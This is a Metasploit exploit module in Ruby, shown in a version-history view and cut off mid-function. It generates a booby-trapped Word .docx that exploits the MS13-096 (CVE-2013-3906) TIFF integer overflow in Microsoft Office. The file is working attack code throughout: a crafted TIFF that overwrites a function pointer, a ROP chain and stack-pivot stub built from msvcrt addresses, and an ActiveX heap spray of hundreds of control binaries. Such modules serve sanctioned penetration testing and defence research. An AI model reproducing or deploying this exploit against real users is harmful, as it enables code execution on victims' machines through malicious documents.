metasploit-framework/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb

913 lines
30 KiB
Ruby
Raw Normal View History

2013-11-20 05:10:32 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2013-11-20 05:10:32 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
2013-11-26 16:52:35 +00:00
require 'nokogiri'
2013-11-20 05:10:32 +00:00
module ::Nokogiri
module XML
class Builder
#
# Some XML documents don't declare the namespace before referencing, but Nokogiri requires one.
2013-11-23 05:35:26 +00:00
# So here's our hack to get around that by adding a new custom method to the Builder class
2013-11-20 05:10:32 +00:00
#
def custom_root(ns)
e = @parent.create_element(ns)
e.add_namespace_definition(ns, "href")
@ns = e.namespace_definitions.find { |x| x.prefix == ns.to_s }
return self
end
end
end
end
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-11-23 06:51:58 +00:00
Rank = AverageRanking
2013-11-20 05:10:32 +00:00
include Msf::Exploit::FILEFORMAT
2013-11-22 22:57:29 +00:00
include Msf::Exploit::RopDb
2013-11-20 05:10:32 +00:00
def initialize(info={})
super(update_info(info,
2013-12-13 21:59:15 +00:00
'Name' => "MS13-096 Microsoft Tagged Image File Format (TIFF) Integer Overflow",
2013-11-20 05:10:32 +00:00
'Description' => %q{
This module exploits a vulnerability found in Microsoft's Tagged Image File Format.
It was originally discovered in the wild, targeting Windows XP and Windows Server 2003
users running Microsoft Office, specifically in the Middle East and South Asia region.
The flaw is due to a DWORD value extracted from the TIFF file that is embedded as a
drawing in Microsoft Office, and how it gets calculated with user-controlled inputs,
and stored in the EAX register. The 32-bit register will run out of storage space to
represent the large vlaue, which ends up being 0, but it still gets pushed as a
dwBytes argumenet (size) for a HeapAlloc call. The HeapAlloc function will allocate a
chunk anyway with size 0, and the address of this chunk is used as the destination buffer
of a memcpy function, where the source buffer is the EXIF data (an extended image format
supported by TIFF), and is also user-controlled. A function pointer in the chunk returned
by HeapAlloc will end up being overwritten by the memcpy function, and then later used
in OGL!GdipCreatePath. By successfully controlling this function pointer, and the
memory layout using ActiveX, it is possible to gain arbitrary code execution under the
context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
2013-11-23 05:35:26 +00:00
'Unknown', # Some dude wrote it and deployed in the wild, but Haifei Li spotted it
2013-11-20 05:10:32 +00:00
'sinn3r' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-3906' ],
2013-12-13 21:59:15 +00:00
[ 'MSB', 'MS13-096' ],
[ 'OSVDB', '99376' ],
2013-11-20 05:10:32 +00:00
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2896666' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx' ]
],
'Payload' =>
{
2013-11-23 06:47:45 +00:00
'PrependEncoder' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
"\x83\xC0\x08" + # add eax, byte 8
"\x8b\x20" + # mov esp, [eax]
"\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000
2013-11-23 06:51:58 +00:00
'BadChars' => "\x00"
2013-11-20 05:10:32 +00:00
},
'DefaultOptions' =>
{
2015-09-01 08:46:54 +00:00
'EXITFUNC' => 'thread',
2013-11-23 01:14:56 +00:00
'PrependMigrate' => true
2013-11-20 05:10:32 +00:00
},
'Platform' => 'win',
'Targets' =>
[
2013-11-23 05:35:26 +00:00
# XP SP3 + Office 2010 Standard (14.0.6023.1000 32-bit)
2013-12-06 06:44:12 +00:00
['Windows XP SP3 with Office Standard 2010', {}],
2013-11-20 05:10:32 +00:00
],
'Privileged' => false,
2013-11-23 05:35:26 +00:00
'DisclosureDate' => "Nov 5 2013", # Microsoft announcement
2013-11-20 05:10:32 +00:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The docx file', 'msf.docx']),
])
2013-11-20 05:10:32 +00:00
end
#
# Creates a TIFF that triggers the overflow
#
def make_tiff
# TIFF Header:
# TIFF ID = 'II' (Intel order)
# TIFF Version = 42d
# Offset of FID = 0x000049c8h
#
# Image Directory:
# Number of entries = 17d
# Entry[0] NewSubFileType = 0
# Entry[1] ImageWidth = 256d
# Entry[2] ImageHeight = 338d
# Entry[3] BitsPerSample = 8 8 8
# Entry[4] Compression = JPEG (6)
# Entry[5] Photometric Interpretation = RGP
# Entry[6] StripOffsets = 68 entries (349 bytes)
# Entry[7] SamplesPerPixel = 3
# Entry[8] RowsPerStrip = 5
# Entry[9] StripByteCounts = 68 entries (278 bytes)
# Entry[10] XResolution = 96d
# Entry[11] YResolution = 96d
# Entry[12] Planar Configuration = Clunky
# Entry[13] Resolution Unit = Inch
# Entry[14] Predictor = None
# Entry[15] JPEGInterchangeFormatLength = 5252h (1484h)
# Entry[16] JPEGInterchangeFormat = 13636d
# Notes:
# These values are extracted from the file to calculate the HeapAlloc size that result in the overflow:
# - JPEGInterchangeFormatLength
# - DWORD at offset 3324h (0xffffb898), no documentation for this
# - DWORDS after offset 3328h, no documentation for these, either.
# The DWORD at offset 4874h is what ends up overwriting the function pointer by the memcpy
# The trigger is really a TIF file, but is named as a JPEG in the docx package
buf = ''
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906", "word", "media", "image1.jpeg")
::File.open(path, "rb") do |f|
buf = f.read
end
2013-11-22 22:57:29 +00:00
# Gain control of the call [eax+50h] instruction
2013-11-23 01:14:56 +00:00
# XCHG EAX, ESP; RETN msvcrt
2013-11-26 04:04:02 +00:00
buf[0x4874, 4] = [0x200F0700-0x50].pack('V')
2013-11-22 22:57:29 +00:00
buf
end
#
# Generates a payload
#
def get_rop_payload
2013-11-23 01:14:56 +00:00
p = ''
p << [0x77c15ed5].pack('V') # XCHG EAX, ESP msvcrt
p << generate_rop_payload('msvcrt','',{'target'=>'xp'})
p << payload.encoded
2013-11-22 22:57:29 +00:00
block = p
2013-11-26 02:06:42 +00:00
block << rand_text_alpha(1024 - 80 - p.length)
block << [ 0x77c34fbf, 0x200f0704 ].pack("V*") # pop esp # ret # from msvcrt
2013-11-26 02:06:42 +00:00
block << rand_text_alpha(1024 - block.length)
2013-11-22 22:57:29 +00:00
buf = ''
while (buf.length < 0x80000)
buf << block
end
2013-11-20 05:10:32 +00:00
buf
end
#
# Creates an ActiveX bin that will be used as a spray in Office
#
def make_activex_bin
#
# How an ActiveX bin is referred:
# document.xml.rels -> ActiveX[num].xml -> activeX[num].xml.rels -> ActiveX[num].bin
# Every bin is a Microsoft Compound Document File:
# http://www.openoffice.org/sc/compdocfileformat.pdf
# The bin file
mscd = ''
mscd << [0xe011cfd0].pack('V') # File identifier (first 4 byte)
mscd << [0xe11ab1a1].pack('V') # File identifier (second 4 byte)
mscd << [0x00000000].pack('V') * 4 # Unique Identifier
mscd << [0x003e].pack('v') # Revision number
mscd << [0x0003].pack('v') # Version number
mscd << [0xfffe].pack('v') # Byte order: Little-Endian
mscd << [0x0009].pack('v') # Sector size
mscd << [0x0006].pack('v') # Size of a short-sector
mscd << "\x00" * 10 # Not used
mscd << [0x00000001].pack('V') # Total number of sectors
mscd << [0x00000001].pack('V') # SecID for the first sector
mscd << [0x00000000].pack('V') # Not used
mscd << [0x00001000].pack('V') # Minimum size of a standard stream
mscd << [0x00000002].pack('V') # Sec ID of first sector
mscd << [0x00000001].pack('V') # Total number of sectors for the short-sector table
mscd << [0xfffffffe].pack('V') # SecID of first sector of the mastser sector table
mscd << [0x00000000].pack('V') # Total number of sectors for master sector talbe
mscd << [0x00000000].pack('V') # SecIDs
mscd << [0xffffffff].pack('V') * 4 * 59 # SecIDs
2013-11-22 18:27:10 +00:00
mscd[0x200, 4] = [0xfffffffd].pack('V')
mscd[0x204, 12] = [0xfffffffe].pack('V') * 3
2013-11-20 05:10:32 +00:00
mscd << Rex::Text.to_unicode("Root Entry")
mscd << [0x00000000].pack('V') * 11
mscd << [0x0016].pack('v') # Valid range of the previous char array
mscd << "\x05" # Type of entry (Root Storage Entry)
mscd << "\x00" # Node colour of the entry (red)
mscd << [0xffffffff].pack('V') # DirID of the left child node
mscd << [0xffffffff].pack('V') # DirID of the right child node
mscd << [0x00000001].pack('V') # DirID of the root node entry
mscd << [0x1efb6596].pack('V')
mscd << [0x11d1857c].pack('V')
mscd << [0xc0006ab1].pack('V')
mscd << [0x283628f0].pack('V')
mscd << [0x00000000].pack('V') * 3
mscd << [0x287e3070].pack('V')
mscd << [0x01ce2654].pack('V')
mscd << [0x00000003].pack('V')
mscd << [0x00000100].pack('V')
mscd << [0x00000000].pack('V')
mscd << Rex::Text.to_unicode("Contents")
mscd << [0x00000000].pack('V') * 12
mscd << [0x01020012].pack('V')
mscd << [0xffffffff].pack('V') * 3
mscd << [0x00000000].pack('V') * 10
mscd << [0x000000e4].pack('V')
mscd << [0x00000000].pack('V') * 18
mscd << [0xffffffff].pack('V') * 3
mscd << [0x00000000].pack('V') * 29
mscd << [0xffffffff].pack('V') * 3
mscd << [0x00000000].pack('V') * 12
mscd << [0x00000001].pack('V')
mscd << [0x00000002].pack('V')
mscd << [0x00000003].pack('V')
mscd << [0xfffffffe].pack('V')
2013-11-23 01:14:56 +00:00
mscd << [0xffffffff].pack('V') * 32 #52
mscd << [0x77c34fbf].pack('V') # POP ESP # RETN
2013-11-26 02:54:39 +00:00
mscd << [0x200f0704].pack('V') # Final payload target address to begin the ROP
2013-11-23 01:14:56 +00:00
mscd << [0xffffffff].pack('V') * 18
2013-11-22 22:57:29 +00:00
mscd << @rop_payload
2013-11-20 05:10:32 +00:00
mscd
end
#
# Creates an activeX[num].xml file
# @param rid [String] The relationship ID (example: rId1)
# @return [String] XML document
#
def make_activex_xml(rid)
attrs = {
'ax:classid' => "{1EFB6596-857C-11D1-B16A-00C0F0283628}",
'ax:license' => "9368265E-85FE-11d1-8BE3-0000F8754DA1",
'ax:persistence' => "persistStorage",
2013-11-21 10:27:41 +00:00
'r:id' => "rId#{rid.to_s}",
2013-11-20 05:10:32 +00:00
'xmlns:ax' => "http://schemas.microsoft.com/office/2006/activeX",
2013-11-20 23:11:13 +00:00
'xmlns:r' => @schema
2013-11-20 05:10:32 +00:00
}
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.custom_root("ax")
xml.ocx(attrs)
end
2013-11-22 08:25:09 +00:00
builder.to_xml(:indent => 0)
2013-11-20 05:10:32 +00:00
end
#
# Creates an activeX[num].xml.rels
# @param relationships [Array] A collection of hashes with each containing:
# :id, :type, :target
# @return [String] XML document
#
def make_activex_xml_reals(rid, target_bin)
acx_type = "http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary"
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
2013-11-22 09:55:40 +00:00
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
2013-11-21 10:27:41 +00:00
xml.Relationship({:Id=>"rId#{rid.to_s}", :Type=>acx_type, :Target=>target_bin})
2013-11-20 05:10:32 +00:00
end
end
2013-11-22 08:25:09 +00:00
builder.to_xml(:indent => 0)
2013-11-20 05:10:32 +00:00
end
#
# Creates a document.xml.reals file
# @param relationships [Array] A collection of hashes with each containing:
# :id, :type, and :target
# @return [String] XML document
#
def make_doc_xml_reals(relationships)
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
2013-11-22 09:55:40 +00:00
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
2013-11-20 05:10:32 +00:00
relationships.each do |r|
2013-11-21 10:27:41 +00:00
xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:target]})
2013-11-20 05:10:32 +00:00
end
end
end
2013-11-22 08:25:09 +00:00
builder.to_xml(:indent => 0)
2013-11-20 05:10:32 +00:00
end
2013-11-20 23:11:13 +00:00
#
# Creates a _rels/.rels file
#
def init_rels(doc_xml, doc_props)
rels = []
rels << doc_xml
rels << doc_props
2013-11-21 10:27:41 +00:00
rels = rels.flatten
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
2013-11-22 09:55:40 +00:00
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
2013-11-21 10:27:41 +00:00
rels.each do |r|
xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:fname].gsub(/^\//, '')})
end
end
end
2013-11-20 23:11:13 +00:00
{
:fname => "_rels/.rels",
2013-11-22 08:25:09 +00:00
:data => builder.to_xml(:indent => 0)
2013-11-20 23:11:13 +00:00
}
end
2013-11-21 20:42:07 +00:00
#
# Creates a run element for chart
# @param xml [Element]
# @param rid [String]
#
def create_chart_run_element(xml, rid)
drawingml_schema = "http://schemas.openxmlformats.org/drawingml/2006"
xml.r do
xml.rPr do
xml.noProof
xml.lang({'w:val' => "en-US"})
end
xml.drawing do
2013-11-22 10:51:55 +00:00
xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
2013-11-22 17:53:57 +00:00
xml['wp'].extent({'cx'=>'1', 'cy'=>'1'})
xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"1", 'b'=>"0"})
xml['wp'].docPr({'id'=>rid.to_s, 'name' => "drawing #{rid.to_s}"})
xml['wp'].cNvGraphicFramePr
xml['a'].graphic do
2013-11-21 20:42:07 +00:00
xml['a'].graphicData({'uri'=>"#{drawingml_schema}/chart"}) do
2013-11-22 17:53:57 +00:00
xml['c'].chart({'r:id'=>"rId#{rid.to_s}"})
2013-11-21 20:42:07 +00:00
end
end
end
end
end
end
#
# Creates a run element for ax
# @param xml [Element]
# @param rid [String]
#
def create_ax_run_element(xml, rid)
shape_attrs = {
'id' => "_x0000_i10#{rid.to_s}",
'type' => "#_x0000_t75",
'style' => "width:1pt;height:1pt",
'o:ole' => ""
}
control_attrs = {
'r:id' => "rId#{rid.to_s}",
'w:name' => "TabStrip#{rid.to_s}",
'w:shapeid' =>"_x0000_i10#{rid.to_s}"
}
xml.r do
xml.object({'w:dxaOrig'=>"1440", 'w:dyaOrig'=>"1440"}) do
xml['v'].shape(shape_attrs)
xml['w'].control(control_attrs)
end
end
end
#
# Creates a pic run element
# @param xml [Element]
# @param rid [String]
#
def create_pic_run_element(xml, rid)
drawinxml_schema = "http://schemas.openxmlformats.org/drawingml/2006"
xml.r do
xml.rPr do
xml.noProof
xml.lang({'w:val'=>"en-US"})
end
xml.drawing do
xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
2013-11-22 10:51:55 +00:00
xml.extent({'cx'=>'1', 'cy'=>'1'})
xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"0", 'b'=>"0"})
2013-11-21 20:42:07 +00:00
xml['wp'].docPr({'id'=>rid.to_s, 'name'=>"image", 'descr'=>"image.jpeg"})
xml['wp'].cNvGraphicFramePr do
xml['a'].graphicFrameLocks({'xmlns:a'=>"#{drawinxml_schema}/main", 'noChangeAspect'=>"1"})
end
xml['a'].graphic({'xmlns:a'=>"#{drawinxml_schema}/main"}) do
xml['a'].graphicData({'uri'=>"#{drawinxml_schema}/picture"}) do
xml['pic'].pic({'xmlns:pic'=>"#{drawinxml_schema}/picture"}) do
xml['pic'].nvPicPr do
xml['pic'].cNvPr({'id'=>rid.to_s, 'name'=>"image.jpeg"})
xml['pic'].cNvPicPr
end
xml['pic'].blipFill do
xml['a'].blip('r:embed'=>"rId#{rid.to_s}", 'cstate'=>"print")
xml['a'].stretch do
xml['a'].fillRect
end
end
xml['pic'].spPr do
xml['a'].xfrm do
xml['a'].off({'x'=>"0", 'y'=>"0"})
xml['a'].ext({'cx'=>"1", 'cy'=>"1"})
end
xml['a'].prstGeom({'prst' => "rect"}) do
xml['a'].avLst
end
end
end
end
end
end
end
end
end
2013-11-20 05:10:32 +00:00
#
# Creates a document.xml file
# @param pre_defs [Array]
# @param activex [Array]
# @param tiff_file [Array]
# @return [String] XML document
#
2013-11-20 23:11:13 +00:00
def init_doc_xml(last_rid, pre_defs, activex, tiff_file)
2013-11-20 05:10:32 +00:00
# Get all the required pre-defs
chart_rids = []
2013-11-22 00:48:12 +00:00
pre_defs.select { |e| chart_rids << e[:id] if e[:fname] =~ /\/word\/charts\//}
2013-11-20 05:10:32 +00:00
# Get all the ActiveX RIDs
ax_rids = []
2013-11-21 10:27:41 +00:00
activex.select { |e| ax_rids << e[:id] }
2013-11-20 05:10:32 +00:00
# Get the TIFF RID
2013-11-21 10:27:41 +00:00
tiff_rid = tiff_file[:id]
2013-11-20 05:10:32 +00:00
# Documentation on how this is crafted:
# http://msdn.microsoft.com/en-us/library/office/gg278308.aspx
doc_attrs = {
'xmlns:ve' => "http://schemas.openxmlformats.org/markup-compatibility/2006",
'xmlns:o' => "urn:schemas-microsoft-com:office:office",
2013-11-20 23:11:13 +00:00
'xmlns:r' => @schema,
2013-11-20 05:10:32 +00:00
'xmlns:m' => "http://schemas.openxmlformats.org/officeDocument/2006/math",
'xmlns:v' => "urn:schemas-microsoft-com:vml",
'xmlns:wp' => "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing",
'xmlns:w10' => "urn:schemas-microsoft-com:office:word",
'xmlns:w' => "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
'xmlns:wne' => "http://schemas.microsoft.com/office/word/2006/wordml",
2013-11-22 17:53:57 +00:00
'xmlns:a' => "http://schemas.openxmlformats.org/drawingml/2006/main",
'xmlns:c' => "http://schemas.openxmlformats.org/drawingml/2006/chart"
2013-11-20 05:10:32 +00:00
}
2013-11-22 09:55:40 +00:00
p_attrs_1 = {'w:rsidR' => "00F8254F", 'w:rsidRDefault' => "00D15BD0" }
p_attrs_2 = {'w:rsidR' => "00D15BD0", 'w:rsidRPr' =>"00D15BD0", 'w:rsidRDefault' => "00D15BD0" }
2013-11-20 05:10:32 +00:00
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.custom_root("w")
xml.document(doc_attrs) do
xml.body do
# Paragraph (ActiveX)
2013-11-22 09:55:40 +00:00
xml.p(p_attrs_1) do
2013-11-20 05:10:32 +00:00
# Paragraph properties
xml.pPr do
# Run properties
xml.rPr do
xml.lang({'w:val' => "en-US"})
end
2013-11-22 00:48:12 +00:00
end
2013-11-21 20:42:07 +00:00
2013-11-22 00:48:12 +00:00
ax_rids.each do |rid|
create_ax_run_element(xml, rid)
2013-11-20 05:10:32 +00:00
end
end
2013-11-22 09:55:40 +00:00
xml.p(p_attrs_2) do
2013-11-20 05:10:32 +00:00
xml.pPr do
2013-11-22 08:25:09 +00:00
xml.rPr do
xml['w'].lang({'w:val'=>"en-US"})
2013-11-20 05:10:32 +00:00
end
end
2013-11-21 20:42:07 +00:00
2013-11-22 08:25:09 +00:00
# Charts
chart_rids.each do |rid|
create_chart_run_element(xml, rid)
end
2013-11-21 20:42:07 +00:00
# TIFF
create_pic_run_element(xml, tiff_rid)
2013-11-20 05:10:32 +00:00
end
end
end
end
2013-11-20 23:11:13 +00:00
{
2013-11-21 10:27:41 +00:00
:id => (last_rid + 1).to_s,
:type => "#{@schema}/officeDocument",
:fname => "/word/document.xml",
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml",
2013-11-22 18:27:10 +00:00
:xml => builder.to_xml(:indent => 0)
2013-11-20 23:11:13 +00:00
}
2013-11-20 05:10:32 +00:00
end
#
# Creates a [Content.Types].xml file located in the parent directory
# @param overrides [Array] A collection of hashes with each containing
# the :PartName and :ContentType info
# @return [String] XML document
#
def make_contenttype_xml(overrides)
contenttypes = [
{
2013-11-22 00:48:12 +00:00
:Extension => "rels",
:ContentType => "application/vnd.openxmlformats-package.relationships+xml"
2013-11-20 05:10:32 +00:00
},
{
2013-11-22 00:48:12 +00:00
:Extension => "xml",
:ContentType => "application/xml"
2013-11-20 05:10:32 +00:00
},
{
2013-11-22 00:48:12 +00:00
:Extension => "jpeg",
2013-11-22 09:55:40 +00:00
:ContentType => "image/jpeg"
2013-11-20 05:10:32 +00:00
},
{
:Extension => "bin",
:ContentType => "application/vnd.ms-office.activeX"
},
{
:Extension => "xlsx",
:ContentType => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
}
]
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
2013-11-21 10:27:41 +00:00
xml.Types({'xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types"}) do
2013-11-20 05:10:32 +00:00
# Default extensions
contenttypes.each do |contenttype|
2013-11-21 10:27:41 +00:00
xml.Default(contenttype)
2013-11-20 05:10:32 +00:00
end
# Additional overrides
overrides.each do |override|
2013-11-21 20:42:07 +00:00
override_attrs = {
:PartName => override[:PartName] || override[:fname],
:ContentType => override[:ContentType]
}
xml.Override(override_attrs)
2013-11-20 05:10:32 +00:00
end
end
end
2013-11-22 08:25:09 +00:00
builder.to_xml(:indent => 0)
2013-11-20 05:10:32 +00:00
end
#
2013-11-20 23:11:13 +00:00
# Pre-define some items that will be used in .rels
2013-11-20 05:10:32 +00:00
#
2013-11-20 23:11:13 +00:00
def init_doc_props(last_rid)
items = []
2013-11-21 10:27:41 +00:00
items << {
:id => (last_rid += 1),
:type => "#{@schema}/extended-properties",
:fname => "/docProps/app.xml",
:content_type => "application/vnd.openxmlformats-officedocument.extended-properties+xml"
}
items << {
:id => (last_rid += 1),
2013-11-22 08:25:09 +00:00
:type => "http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties",
2013-11-21 10:27:41 +00:00
:fname => "/docProps/core.xml",
:content_type => "application/vnd.openxmlformats-package.core-properties+xml"
}
2013-11-20 23:11:13 +00:00
return last_rid, items
end
2013-11-20 05:10:32 +00:00
2013-11-20 23:11:13 +00:00
#
# Pre-define some items that will be used in document.xml.rels
#
def init_doc_xml_rels_items(last_rid)
items = []
2013-11-21 10:27:41 +00:00
items << {
:id => (last_rid += 1),
:type => "#{@schema}/styles",
:fname => "/word/styles.xml",
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/settings",
:fname => "/word/settings.xml",
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/webSettings",
:fname => "/word/webSettings.xml",
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/fontTable",
:fname => "/word/fontTable.xml",
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/theme",
:fname => "/word/theme/theme1.xml",
:content_type => "application/vnd.openxmlformats-officedocument.theme+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart1.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart2.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart3.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart4.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart5.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart6.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
2013-11-20 23:11:13 +00:00
return last_rid, items
2013-11-20 05:10:32 +00:00
end
#
# Manually create everything manually in the ActiveX directory
#
def init_activex_files(last_rid)
activex = []
2013-11-22 22:57:29 +00:00
0x250.times do |i|
2013-11-21 10:27:41 +00:00
id = (last_rid += 1)
2013-11-20 05:10:32 +00:00
bin = {
2013-11-22 08:25:09 +00:00
:fname => "/word/activeX/activeX#{id.to_s}.bin",
2013-11-20 05:10:32 +00:00
:bin => make_activex_bin
}
xml = {
2013-11-21 10:27:41 +00:00
:fname => "/word/activeX/activeX#{id.to_s}.xml",
:xml => make_activex_xml(id)
2013-11-20 05:10:32 +00:00
}
rels = {
2013-11-21 10:27:41 +00:00
:fname => "/word/activeX/_rels/activeX#{id.to_s}.xml.rels",
:rels => make_activex_xml_reals(id, "activeX#{id.to_s}.bin")
2013-11-20 05:10:32 +00:00
}
ct = "application/vnd.ms-office.activeX+xml"
2013-11-20 23:11:13 +00:00
type = "#{@schema}/control"
2013-11-20 05:10:32 +00:00
activex << {
2013-11-21 10:27:41 +00:00
:id => id,
2013-11-20 05:10:32 +00:00
:bin => bin,
:xml => xml,
:rels => rels,
2013-11-20 23:11:13 +00:00
:content_type => ct,
:type => type
2013-11-20 05:10:32 +00:00
}
end
return last_rid, activex
end
#
# Create a [Content_Types.xml], each node contains these attributes:
# :PartName The path to an ActiveX XML file
# :ContentType The contenttype of the XML file
#
2013-11-21 10:27:41 +00:00
def init_contenttype_xml_file(*items)
2013-11-20 05:10:32 +00:00
overrides = []
2013-11-21 10:27:41 +00:00
items.each do |item|
item.each do |obj|
overrides << {:PartName => obj[:fname] || obj[:xml][:fname], :ContentType => obj[:content_type]}
end
2013-11-20 05:10:32 +00:00
end
{:fname => "[Content_Types].xml", :data => make_contenttype_xml(overrides)}
end
#
# Creates the tiff file
#
def init_tiff_file(last_rid)
2013-11-21 10:27:41 +00:00
id = last_rid + 1
2013-11-20 23:11:13 +00:00
tiff_data = {
2013-11-21 10:27:41 +00:00
:id => id,
:fname => "/word/media/image1.jpeg",
2013-11-20 05:10:32 +00:00
:data => make_tiff,
2013-11-20 23:11:13 +00:00
:type => "#{@schema}/image"
2013-11-20 05:10:32 +00:00
}
2013-11-20 23:11:13 +00:00
2013-11-21 10:27:41 +00:00
return id, tiff_data
2013-11-20 05:10:32 +00:00
end
#
# Create the document.xml.rels file
#
def init_doc_xml_reals_file(pre_defs, activex, tiff)
reals = []
pre_defs.each do |obj|
2013-11-21 10:27:41 +00:00
reals << {:id => obj[:id], :type => obj[:type], :target => obj[:fname].gsub(/^\/word\//, '')}
2013-11-20 05:10:32 +00:00
end
activex.each do |obj|
2013-11-21 10:27:41 +00:00
reals << {:id => obj[:id], :type => obj[:type], :target => obj[:xml][:fname].gsub(/^\/word\//, '')}
2013-11-20 05:10:32 +00:00
end
2013-11-21 10:27:41 +00:00
reals << {:id => tiff[:id], :type => tiff[:type], :target => tiff[:fname].gsub(/^\/word\//, '')}
2013-11-20 05:10:32 +00:00
2013-11-21 10:27:41 +00:00
{:fname => "/word/_rels/document.xml.rels", :data => make_doc_xml_reals(reals)}
2013-11-20 05:10:32 +00:00
end
#
2015-07-31 18:47:46 +00:00
# Loads a file
2013-11-20 05:10:32 +00:00
#
def read_file(fname)
buf = ''
::File.open(fname, "rb") do |f|
buf << f.read
end
buf
end
#
# Packages everything to docx
#
def make_docx(path)
print_status("Initializing files...")
2013-11-21 10:27:41 +00:00
last_rid = 0
2013-11-20 23:11:13 +00:00
last_rid, doc_xml_rels_items = init_doc_xml_rels_items(last_rid)
2013-11-21 10:27:41 +00:00
last_rid, activex = init_activex_files(last_rid)
2013-11-20 23:11:13 +00:00
last_rid, doc_props = init_doc_props(last_rid)
2013-11-21 10:27:41 +00:00
last_rid, tiff_file = init_tiff_file(last_rid)
2013-11-20 23:11:13 +00:00
doc_xml = init_doc_xml(last_rid, doc_xml_rels_items, activex, tiff_file)
2013-11-21 10:27:41 +00:00
ct_xml_file = init_contenttype_xml_file(activex, doc_xml_rels_items, doc_props, [doc_xml])
doc_xml_reals_file = init_doc_xml_reals_file(doc_xml_rels_items, activex, tiff_file)
2013-11-20 23:11:13 +00:00
rels_xml = init_rels(doc_xml, doc_props)
2013-11-20 05:10:32 +00:00
zip = Rex::Zip::Archive.new
Dir["#{path}/**/**"].each do |file|
p = file.sub(path+'/','')
if File.directory?(file)
print_status("Packing directory: #{p}")
zip.add_file(p)
else
2013-11-20 23:11:13 +00:00
# Avoid packing image1.jpeg because we'll load it separately
if file !~ /media\/image1\.jpeg/
print_status("Packing file: #{p}")
zip.add_file(p, read_file(file))
end
2013-11-20 05:10:32 +00:00
end
end
2013-11-22 22:57:29 +00:00
print_status("Packing ActiveX controls...")
2013-11-20 05:10:32 +00:00
activex.each do |ax|
ax_bin = ax[:bin]
ax_xml = ax[:xml]
ax_rels = ax[:rels]
2013-11-22 22:57:29 +00:00
vprint_status("Packing file: #{ax_bin[:fname]}")
2013-11-20 05:10:32 +00:00
zip.add_file(ax_bin[:fname], ax_bin[:bin])
2013-11-22 22:57:29 +00:00
vprint_status("Packing file: #{ax_xml[:fname]}")
2013-11-20 05:10:32 +00:00
